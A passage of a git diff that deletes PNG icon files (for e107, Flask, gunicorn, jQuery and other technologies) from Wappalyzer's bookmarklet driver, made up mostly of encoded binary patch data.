HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/e107.png b/Wappalyzer/drivers/bookmarklet/images/icons/e107.png deleted file mode 100644 index 9271535b4f0eee769bebd4e5c48bc72fdb290593..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 574 zcmV-E0>S->P)fl)qhl>YfZbT$4fdwmzp; zjV~2cjIFebchuAfEzXNW-JxPQ<>o|Dj@R?=Du3(aiF{}M#@=+Xid@n9p;x&-|H2OM zej|;$b3POb@VKOq-$)8OLU`qa<6-0r-p_e9JwWS0oiIQ8mh|bKvGM~$UAeInzFiQ z+9a=xsj5mU>Z+O`!xa=ER**;f=Ff*91!+k|X(>e+86fh_pXZx54@mmt%~g_>1&d1q z84xazRFsicl$G(xouect=bJkl!T>6OxWPMX`r}h`PXR+9pd`pIn1P9jiJ6^)mycgS zP*_G*UO`D&MOD|($jHdp%*@%%%gZ|{HKV4kzM-+XrL}*??D-28u35L|(BX6EE?&BF z%g?Uu+_QW-sz|aSW-r6?*2XP*Z?N>%(O8vhwb^jl67K zU9b22KYgMw;lTfQ(VNqS_kNr3CzL%Z%=|;xf#|hjlgmGdg~v9|$B z-mIe=7nF$moPHs2>5qo$`AJ!Ccb<`CHacV~v}@zTsbBL9)mz%9Jm{NZ_o->lJdqv8)&$z|TF*}ncn{Xz_Y{tufOy_^f9*k)6Vgb6A N!PC{xWt~$(699V`!MOkc diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/eHTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/eHTTP.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/eSyndiCat.png b/Wappalyzer/drivers/bookmarklet/images/icons/eSyndiCat.png deleted file mode 100755 index 920d3b68dd9970c4670b3c2cf5bb3b3e3a971597..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 724 zcmV;_0xSKAP)8qW^ezAhKiSU;0NcN=Xw6m$2kP?FV@vuo)<{8W<+WU%BC4QI2b-$ALnGuW&1bd< zz`%M?Ik-4I`%_O*R5Q5T);kf9!IE(bTZiRJ{hZdlvO0qMc96v==)Qp}lORq9Aq2Zu z-}bz9$Ohw~4N>g(gJMw9$~Q*G)4yeOho?9Wq~jS6urQ(z$ahAhd6 z6=Dn2e0G@4mGC^iomR>n)n$~qXHJArGbckSQfD6LsV(i#8Wav~Q5)R4gw0Z>07p_zDw#D-gUy0e6iOy554}-0?KB<={Bjaw6hry|1 z^7-RA&8h{5YlY?!RNbZ9Ef=FG>z#CJRBrH1c_|`0MW(j3Y!#nI<+LVc3wnyXRV1A2 zkxrA=`6Ug+KY9{mCf51sb1Gd+O3iQUdycy(xjyjz3y~Am$F2!*ghtlm8kscpjr2=L z|Dgs1AG592Lm}9j-JeTPE*%_sbu>w;kXz4 z{XnU&rRut#3Dsr?KSqnfe3L0y7He%`JG{m|5Dc=w*Z5MAQ>CBF-{RENGbTwW5v|{w_5@L0000K|E06|)4?PV3|NjrU9Lfje zFqQ=Q1v5B2yO9RuXn49fhE&{2PHL7H1Ip^0f0X9MFT28jf&1wX_^ Z85n+SW}GMLQX~s9&ePS;Wt~$(698fUAW;AS diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/flask.png b/Wappalyzer/drivers/bookmarklet/images/icons/flask.png deleted file mode 100644 index 234404b3cccc9f116fedcd91ddcbf126473c95eb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2027 zcmV20;J-2Y5+D zK~z}7wU|HH-tm2q8`Yod8Y&@B(lH_?F|icruxU zuIo(Kb$m@b4B!C(1potJ5<=EEj{6hO^Raj4k-c_Icg6^SpK~0Sa5|luD2i~oTwzfZ zDPyc`nr0b51AzUt0IC3eXuXtYH{^044#*@2&r0Mfjc3 z1YlT}W!bjP@jS0bB9V35w%ZtEeE`CNK;W;bRLY*3nu;}>O&!28fcjnmv;+8Kxm-Rc zNm3vf4Ayv_uW6blSe9jT9On;*!@sFiD!&3S1YiNc?*Y8r3xLB8hvTP|(o>dYB@M%X zBuPR(pZ^KRaTcYtE{dWa3WZt#_<5ce_A(cE01qjpMm!!@Y}?Khi^YAqu8W02p+^t| z&ExS@W3kv$I-UM!EEbzrRkbiXJG%y8b*}(8p6890mX?xbS)PrJjdlQ_l*(?myA+GX z^3iB?qf)83HBDnro;(?g$Kxsh_v8c_U()2a=C>a$81mjg0Zo&2q7dTiefAr z4zF}{bo>wq1hkcv6?dc2;KSjtl1in%w{2TGefqTL#*G^h01_d@*b@Mr=XpYiO)0fG zjx%lBrdwNE!Pl=}tAZftq9_{CXtWH#Gz_Eb-o1Or9z>QuGMNDS(e#*J%R070YZol zU~O=4aLKYP)8TNywrz*5>&|Mm8VrR(jROY`RGQ7En9XKw(=`2u4jqbTGMOA9#2OtP zWxG{^fA?j6eqLvcISC=4l$wMPy1BWT06-lM$0}pYwk*pQ1R>Db**W;&!2>;?&(9>2 zNo}`E@CyqI=6LQF+bxb^k*L?{$;aU5soaydoUb+4&n)oPw>Hv3IJpKs~!@5ifGuRM#3i?ch2me0$9x6uP2rBX=; zknQd5eU{7R&T|~sR;$$ll+t)O92UG@uaZb4WS`I1C=?2H!!UfCo15v0i3z)-qoWL9 zd455dhXmgy{)ay zY;SMZKUTK+kASIuzkjj2yW2c}{ydwRnK||H<;!1WGMS$NP+MABRux5=Jbd`@%83&v zCMuPRxVX5Onx38>vMfst1Oi3FFkZ>BoOe2%QhR%Q2|($i0B<9|efu_c>H+|mjIr06 zrg2xUT*378bksCWCn2OoRn^XHHfuJUO;0EkTDB~UR;$$xMN!%{P4m|4b$M)Ttb1u` zX(b+y=NpYisk5_FT3ubO_xJZV`uqEpW5P$iT}dXBMccOZ_4V~|qtWQjWHNm|pRd@})irMzhE*&U z4?3MrbEk>D05Aoh^gjUCu3ZBF+_`fH0C4r{RS-fn0C@oUr%#`5+`W63Wipvkp-|Xo znr0iNG)O5G91e%c7_%s)4UXfS04zcXC4_i6j&~7%HB}Gx@78e(brfD{J z>O~EJ{>h8QURF&2w$S1J{^ z!{I1hzI^%bZ!6`l75I>KcXz+aWHMXnbovcrtcB-!#`FA^-|t`ccs#N!%e*Lx#)q8m z`f9b)^~l>U$Qa{iW@h%ArrEM{!m6gz>19HQ`QADLfW6x-{|&TPv^qq-FVg@3002ov JPDHLkV1go8!L|SZ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/git.png b/Wappalyzer/drivers/bookmarklet/images/icons/git.png deleted file mode 100644 index bf3c059592a9251936de7920197651919cde0c08..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 602 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dyCj)#!T!Hj|APNorAFBP|Q{{1} zPV}Qx~ zKocMv#0WBaA87mmf&z>`0@VZJAXp_x0ZbOC*XTn4%mkqM zNTwm!$l@>s|NsBz(pw$?^o(OkkY6wZBQqO2CodnrfS{0sjH0TJu8ntaWL#EGK~YJ0 zWnF!1XYa(B3zn={v;V-s!$(e>I(PBL?Ys9MJbd}?;pT>AKASAU8S{B;@58fH8v--%Q*Kag+3Bpxuj+5<O=&mSaFDa)ovNqdfei+YdFSI)JRg6O$_;GFI`-AsBx%#RrFW%2 z3Ohc(`p)i-#5 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/gitweb.png b/Wappalyzer/drivers/bookmarklet/images/icons/gitweb.png deleted file mode 100644 index bf3c059592a9251936de7920197651919cde0c08..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 602 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dyCj)#!T!Hj|APNorAFBP|Q{{1} zPV}Qx~ zKocMv#0WBaA87mmf&z>`0@VZJAXp_x0ZbOC*XTn4%mkqM zNTwm!$l@>s|NsBz(pw$?^o(OkkY6wZBQqO2CodnrfS{0sjH0TJu8ntaWL#EGK~YJ0 zWnF!1XYa(B3zn={v;V-s!$(e>I(PBL?Ys9MJbd}?;pT>AKASAU8S{B;@58fH8v--%Q*Kag+3Bpxuj+5<O=&mSaFDa)ovNqdfei+YdFSI)JRg6O$_;GFI`-AsBx%#RrFW%2 z3Ohc(`p)i-#5 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/gunicorn.png b/Wappalyzer/drivers/bookmarklet/images/icons/gunicorn.png deleted file mode 100644 index e33ac860cb7f26c74d3aaaf607bba3be1294afc8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1651 zcmV-(28{WMP)&N%bTJ0EAyd7t-v-uFF+BwmQb zV=T*sI6e&U0wV|vPrf4@7iRH6EPf5~!y6(`g(QQkqx`&nus?>w0vEYyYrkf_fz{gVWPfHMsMejN9Y&^O_cTQ{THQlnePb!#{S(-VgV)olLZ)uv;o{)p) zN0WGJ0;&vT`R44lltRhe$~lS>g+eQr!`T3!2Yx+Yyrf^f*Sa@f4` z8U1}cHc(%pV$?<+0v@oEn1F&3to(UJx;A|ze568bR%uq7=|7$l@U*GI6x1n!K=@c; zT!Q@|$Vk(qrK(dQl$_)thyC>A$F$Czs75>%9qfw@4fG8S_M_$Kah7m|#?K(RD0%ZQ zn~z+r%g|;hk%U&M&?%(q)K+r~_AqQP6!kUUIlZBNecrculXoVsIkcwRbDvfPcp|~z z!20_2leWLiZ~>#cBS$|Cm7wheNQ-5!?^!(mhj}WUDpf5-spKVcXoxs6OET-P)*(JL z8_$VV8B0LHM=l!w*?Q_rA;v_a{=DzDJYcWS5jpC zUpiTF+R6hfaj&2f)L{Yw!asJVYci(lvf8azSUv#hP(a}5wL{p040823 z3QdMMhEkRdZEDykD^4#vuYYU?9gf=wM^&n-ZLPsGVDK2Sby z=yl)Yx8#&&qiyzIuJ(o;)61qqQe5>=Y4Prb5G~C4`Gf>*mX_oq$*S5F*eaGJx~_gL z6j)ZhG{pGC83aIJp0+DTs*%>T?CXoOyZ^0FiSMA%eJ>F4T(`Ee;_C!4#}I^X+pi;o z9DQy~V8m-#ta-64d)HKF&@SHl5un}DnpK*K>j58F#O61umY`Fc?luaf6@kapz!9*# zRxt

dqBYxsl4e@8@EI?mO?`Fdf6Djmbn_ zke8V~+*T_ok}Ujjfj{D*joWIv^ukv!R$ttU!qEQ^j<(k;H1e`$J!T5^1n~Z3mu78m zEWihpOwdJCGL8)m4GvaasN8$03XviZl)Br~Iq~b4K5E!R?irTEtNl|8-A>>7mF|hM zq5e2Kt9;hhGhYn$#~vO`oy$+Y>fy>1ii=r9Ecr$sdoyq&1kT6*z6_>oHSVs zCUYmecbhs*W&Y!6 zacE6(6vyA&XdANu%(OO537WDBp_Y=iH$4^QPX!2siKrr=5bbTGF+mYgswTEUEWk`m zlz6h50feyO`W_C>J3IHjm)ELK+q?IB&i!_OzjJ=)`W(mcNqm9O2(Sel1$7_{J^_d6 zp=18Vmh}-jih060j)2Wzc)J+&@XlbLNMaGI0gK%r(aS(CxYdCMu7eye13~bz0}VU} z0n-3(bOLL@4;6FD%Ur#LN0?0P6x+Sz(tJ7<=kAUAGJj249qT7w8g)fmEH~1#u9`r z1G-i(g6=L!H>&PdCHuS5Qir^(ayMEA>UF75nYkp*2M>kz88sXiZ8o@}a@Sb~PAkzJ zFvKNk5;vkY(U>Y+w0XuUd(twnM~NPTaULh#P}cm>e>I2BK&XJqPUYTd87NVrH(+X% z<94w)9~_>5)0JkrYSqL7%Rr$qJ}r~Su1ks0QdEFVlvs67Iz?A0lSF}KAXm-*4i6Kl zQQm@|&wcvqH@e_Km6KZcK+8Y|k4sWqFAt>un20j@(2_Z?$uUp6J*31mP>zkmzy#i$ zGH0cHt9pDYG1iOD@&jN!m_?_e#{;Q6XM+v=>hBw4-jaxMP9>m?*zEanQC#NnVG@e= zVL~l?qSu#E7Ozo98K5%F^fEwY6Y@4-pARt_*rv7$DO2@biE1 zz`f@xJ3W+j#Mp$GXD{nmYVY8pWDq$kLuzN+y{`P<^InS1I?BhudA($F!T$$*c5nYI zkls4!e5ke90pCqIGv&W)^RV1m^I@OXp6}M|O@*JocCBn$uvqJWA`^?O`G(x<6ZSCM zRB<)kRBf>T&eK?N_kgVPfgRWW8<&?xlz-Ck|GC=duKr&8D-{M;)MR~lgBkW6E!wt diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/io4-CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/io4-CMS.png deleted file mode 100644 index a35e315a5a3c48c30bb05be4c44b114d804e559d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 445 zcmV;u0Yd(XP)y*cH-ph9W7vUeVyCh=Irh9SYm^|!OucZd6BkK?EnA(0(4SNQ~vFnPL^l`-n}Brx+jgm&q@E_uM_W82%cG}dK{76H0)GgEjm6Z=odbRV ztEq@;LR3NEaI4wNRgSIvl2dltA0A*Gbx3v znb4};05!Pmh^OT~OVNG<7JgEfBaNVznUH&I{Q{zuZ3t);1$vnlX?K&0)Slc+5tIu? ze^e2bLQ0I_IGjam5v|hrmOU;J z@$9&-9l%)Q^?eA3Ur#U00*_Om0p|)GzWy%7`1cem593T>L1vDZz~K7aw%OYH9O#qF n74rzh1;=pj_jv#Feh4rCo#zY4)Y-}90!&8_#a*S&xQL9b8Jvx0Ntqc!;x-hhPE6P1p z^7-qjROzQ;xfiA{K)wB&C|@X1puPcp)j>*SauklnNN^^b$F^-dp!D<&pwL~ROsC=qi@EW2d-4jvM4V zizGOnNFu$$Q%5qzd^d`v9<;Y7sH;%6uo8|$EyYr~520`bva%|9H64dW$1w8wDC&a^ zv}tGycI^BFl}aD>4m#;x1mLX;l<{D>+&{ct$lXliP~FN;s9tv!yd zd~FYYdI*=>!-9(#hG=bcOetrqjWL zBXsf7WmXUKcp+j3q-b6ZiH;QAyZ=4r&Ru|}n_yRTef|dKZ`{P!H}9ZOD3aab!m;TY zoH~65ZjUaH4yNgcBEYK|v})CAwx+?u4ZU8S54e%d=J*;9;fEg|ki+4GG?ALRI=iT^ zWZ>jEef(?#ypbGa_4AV!EDCP77ay%rDHsevH+-z_1!I0Eh6q9Nc)Vm7e*WkuP1i|Q zoe#>)A24ZLY+=L4HHPrgOn6cxX|XI8`3JIGxLh7Gef6;09o9%DJF?kqRzAY3s!E0# zkUA);YQtJ4#E#8oXJymMM6kh@JswSX%OzhQ>~&7zNww8M&b|kK4Z4^4VXD6X0000< KMNUMnLSTZW5u-i; diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Mobile.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Mobile.png deleted file mode 100644 index 5ebf502c75b22fc17749b30b5d3c0ac3eff004c9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1418 zcmV;51$Fv~P)QA|et?E!HAh z)pY01Y|{LvscB7V0~Re<#R7uR+G<}aRgGGj-P!d!_s-1DWOma{D0N`CyEFIR^PTT} z=iD?HnP3tiEK-y+HdI@KiGV<+kQm`36>z%HEf!9K|f_MDvxi36` zI~Q@N>zalWAcXyn@-pu}p4h~2CaG_(it)Wh$b1p9CJgxpZ9d|Gy^+R-V3mc+?D8FD zCMi@rFyuVEnGeGeT_Bv}v~A9#jC~?5QeOwAyMqc79_7btIwRcMTUJc7^i(oTnbJ1e zI?Enj4ADg=W#kNPIf~8YUzGdkj)rccBDFuE!gv)-)UeMy?hz7hfqI4>#kdxRcW5Eo zsU!<5q`niNP+kc0TQkw&Gw?C>jMiWPEXdt)wZ}kg2gu9Rd)R|R9$8b^vs@*!yr9CA z28gB_V8gwK>Y(^H%8fQW3|QDC4a}+HU0sEWYeG~fQE#|D20th$8n2{H$XQZZXVgHy=JbQGlD%i3{7|vA~uR}!8f&E4d zWw6L}c2a(!{n1M6!j@8RbU!aU%3yLv8f`$Ee zLnoJXx=By15eT1<1MwI)xh(fC%=;ELzE7s1>6FNt<}C1)E9VkwjUGw{^k5zG6kv0( zM!8{L^Edu~4XyNR(Uvwsh);vjop^VWvO}B+zf;zIAm*H31yf4pyrJ3@sgt&Q)w{J3 zv;hdM^jXRstUwP8pr+E4nc-A5%LtF-DPUWUdi4A;>@CkK2E(&taa$$q3sjh7YO7l5 zIN_c>a8IHvN0IXZB;;uo2BWMEGMGF>nj2-IR^ZTiu<&{#6s-;`A>Y(lAZrRed&Bj? zI;9sBBOn&1Q~Gl>D$a|Feqrx{%6I8nU_Tbu!O|xsSdc$cenJb3ffOd0%5$`7;LdPP z!+1yAXFnSbnB!8O`Rq1oij3PU!&#v0ux5dCUMu~w5>&L31%--JRi|E;x>++ka+Atq z)NAv=ld7kP2{6{%s}`$Y6&$mync$pfO{jYAjE6#M+MfG`r`b0GhsdzcQ(AVn7GgsW z1FG6_ig9WRTmNQ-3#6MVhY|PnZGEt$aQq7S9a)p8w(g##8`tOy)BOOsTcHAnz!xU# zf>o}xp%nfLo_z_g_QAWNs&K4$QQC{=Gg$L0?6(pve%qg0tXQVpaQ;zUPhmo{pv!hm zv7%B}*2yT>6;O*a$>D?R2THr^muWnDute0#ow0B}#HMFq@Cq2HQud&y#F~XZvO`sM zoC|qLH@9{!mNhH>Zfuq^Ih=r;mZtpzV*V<;d_}ik@V47svz+47{^$3)=DE8hdu>qu YAH&NBd%ze7761SM07*qoM6N<$g5P+uJOBUy diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Sparklines.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQuery Sparklines.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery UI.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQuery UI.png deleted file mode 100644 index 00215749ac4a2da3c28f33fa2588e775458d033c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 727 zcmV;|0x127P)Nkl7lUw5L12fQEu-}~{r@AC-p--Hm39odUC>X4#1 zuFN{ejzonJLSU8DBZY$$6xnlFr6&c_m|6qz-);;Dq)4tEfQYXifE|HYa18-QFT!jJ zk`H0z0`we!Sh$D)$$mVRN`N$c0DPN<%-8w;?3#aZD-79`7a-B=a|g0%@8I!U{sDSw z(OSH|NC2Y^dVuadMFQxG!pM0@^ts0ekeSg%#VP^(?XeJa?}Ps1iwMJ&1X$8Lkon>T zc&+?TJkDZA?g=+*UwxP`TEB@}Qzzau;N?(Nv z_PPqB(YZqPf`c^ga&LWP(G?RabOdRPEhFzABo?k+R@p{dje%8Ci!^Sc%yFdgqk!Od zl=&2CT*WTiy*hPdQ$?8O%FT`nMja_!w@RWkRaDYa9s1`A<6o2XO?FS0v9tgH002ov JPDHLkV1fcCStI}e diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jQuery.png b/Wappalyzer/drivers/bookmarklet/images/icons/jQuery.png deleted file mode 100644 index 5ebf502c75b22fc17749b30b5d3c0ac3eff004c9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1418 zcmV;51$Fv~P)QA|et?E!HAh z)pY01Y|{LvscB7V0~Re<#R7uR+G<}aRgGGj-P!d!_s-1DWOma{D0N`CyEFIR^PTT} z=iD?HnP3tiEK-y+HdI@KiGV<+kQm`36>z%HEf!9K|f_MDvxi36` zI~Q@N>zalWAcXyn@-pu}p4h~2CaG_(it)Wh$b1p9CJgxpZ9d|Gy^+R-V3mc+?D8FD zCMi@rFyuVEnGeGeT_Bv}v~A9#jC~?5QeOwAyMqc79_7btIwRcMTUJc7^i(oTnbJ1e zI?Enj4ADg=W#kNPIf~8YUzGdkj)rccBDFuE!gv)-)UeMy?hz7hfqI4>#kdxRcW5Eo zsU!<5q`niNP+kc0TQkw&Gw?C>jMiWPEXdt)wZ}kg2gu9Rd)R|R9$8b^vs@*!yr9CA z28gB_V8gwK>Y(^H%8fQW3|QDC4a}+HU0sEWYeG~fQE#|D20th$8n2{H$XQZZXVgHy=JbQGlD%i3{7|vA~uR}!8f&E4d zWw6L}c2a(!{n1M6!j@8RbU!aU%3yLv8f`$Ee zLnoJXx=By15eT1<1MwI)xh(fC%=;ELzE7s1>6FNt<}C1)E9VkwjUGw{^k5zG6kv0( zM!8{L^Edu~4XyNR(Uvwsh);vjop^VWvO}B+zf;zIAm*H31yf4pyrJ3@sgt&Q)w{J3 zv;hdM^jXRstUwP8pr+E4nc-A5%LtF-DPUWUdi4A;>@CkK2E(&taa$$q3sjh7YO7l5 zIN_c>a8IHvN0IXZB;;uo2BWMEGMGF>nj2-IR^ZTiu<&{#6s-;`A>Y(lAZrRed&Bj? zI;9sBBOn&1Q~Gl>D$a|Feqrx{%6I8nU_Tbu!O|xsSdc$cenJb3ffOd0%5$`7;LdPP z!+1yAXFnSbnB!8O`Rq1oij3PU!&#v0ux5dCUMu~w5>&L31%--JRi|E;x>++ka+Atq z)NAv=ld7kP2{6{%s}`$Y6&$mync$pfO{jYAjE6#M+MfG`r`b0GhsdzcQ(AVn7GgsW z1FG6_ig9WRTmNQ-3#6MVhY|PnZGEt$aQq7S9a)p8w(g##8`tOy)BOOsTcHAnz!xU# zf>o}xp%nfLo_z_g_QAWNs&K4$QQC{=Gg$L0?6(pve%qg0tXQVpaQ;zUPhmo{pv!hm zv7%B}*2yT>6;O*a$>D?R2THr^muWnDute0#ow0B}#HMFq@Cq2HQud&y#F~XZvO`sM zoC|qLH@9{!mNhH>Zfuq^Ih=r;mZtpzV*V<;d_}ik@V47svz+47{^$3)=DE8hdu>qu YAH&NBd%ze7761SM07*qoM6N<$g5P+uJOBUy diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/jqPlot.png b/Wappalyzer/drivers/bookmarklet/images/icons/jqPlot.png deleted file mode 100644 index 542a8244dc4e0f21a21b8cfdd2006f9a1eba3421..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 592 zcmV-W0m0;7<2~~;-Bl@t4$JO&ww2S0ojAn zV9TK)g&;y`zwi4vg%J9?FjfUjFwcWQ81t2Iy@+X2f#>;rUa3^l>2$qbH%$}Q2(lCr z8F()r{d)0mu~Eb{$hV=>IlCwH$NhePxm+rxIOoM;aWWoD_xE^8lJ@0;gnawy?ky*% z9!(Tfp)IA%=kujf32LoY>*UQzwf4HxIel7uGMit|J@IvDe>sm|yXuZjw*jcqwrxn| zaycY+{OY(?s}iCFr>7K?=|C85lq-c&m8 zJ|DU?HdcKhPu+_W6&`U%bh#=g(u8x}h-f(TOr>|`>T z&1O;YbUH1U%Y{N=Fc@UBj}PP4Y5(@wbwY5%q#HuGB2=tat4t;njYb=d22z?#Ce3CO 